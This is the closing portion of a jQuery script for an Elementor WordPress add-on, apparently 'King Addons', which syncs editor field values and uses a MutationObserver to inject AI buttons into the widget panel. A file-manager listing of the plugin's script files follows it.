        }
        
        // Trigger change events to ensure Elementor detects the change
        $field.trigger('input');
        $field.trigger('change');
        
        // For WYSIWYG, also try to trigger a TinyMCE change event if available
        if (isWysiwyg && window.tinymce && tinymce.get($field.attr('id'))) {
            try {
                tinymce.get($field.attr('id')).fire('change');
            } catch (e) {
                console.error('King Addons: Error triggering TinyMCE change event', e);
            }
        }
    }

    // Function to get field value (handles WYSIWYG)
    function getFieldValue($field, isWysiwyg) {
        if (isWysiwyg) {
            var editorId = $field.attr('id');
            if (window.tinymce && tinymce.get(editorId) && !tinymce.get(editorId).isHidden()) { // Visual mode
                 return tinymce.get(editorId).getContent();
            } else { // Text mode or editor not initialized
                return $field.val();
            }
        }
        return $field.val();
    }

    // Function to setup MutationObserver to detect controls changes 
    function setupControlsObserver(panel) {
        // Observe the entire panel for any control changes (e.g., section tabs)
        var $controlsContainer = panel.$el;

        
        activeObservers.forEach(function(observer) { observer.disconnect(); });
        activeObservers = [];
        
        var observer = new MutationObserver(function(mutations) {
            // Use a small delay to allow Elementor to finish rendering, especially for complex controls
            setTimeout(function() {
                injectAiButtons($controlsContainer);
            }, 50); 
        });
        
        observer.observe($controlsContainer[0], { childList: true, subtree: true });
        activeObservers.push(observer);
        
        // Initial injection, with a delay
        setTimeout(function() {
            injectAiButtons($controlsContainer);
        }, 150);
    }

    // On widget panel open, setup the observer
    elementor.hooks.addAction('panel/open_editor/widget', function(panel) {
        setTimeout(function() { setupControlsObserver(panel); }, 250); // Increased delay for initial setup
    });
    
    // Also monitor section changes
    elementor.channels.editor.on('section:activated', function(sectionName, editor) {
        var panel = editor.getOption('editedElementView').getContainer().panel;
        if (panel && panel.$el) {
             // When a section is activated, reinitialize observer and injection
             setTimeout(function() {
                setupControlsObserver(panel);
            }, 150); // Delay for section rendering
        }
    });

})(jQuery, window.elementor); 

Filemanager

Name Type Size Permission Actions
ai-imagefield.js File 20.29 KB 0640
ai-settings.js File 3.01 KB 0640
ai-textfield.js File 48.24 KB 0640
elementor-editor.js File 7.04 KB 0640
media-alt-text.js File 0 B 0640
settings.js File 529 B 0640
templates.js File 14.36 KB 0640
Filemanager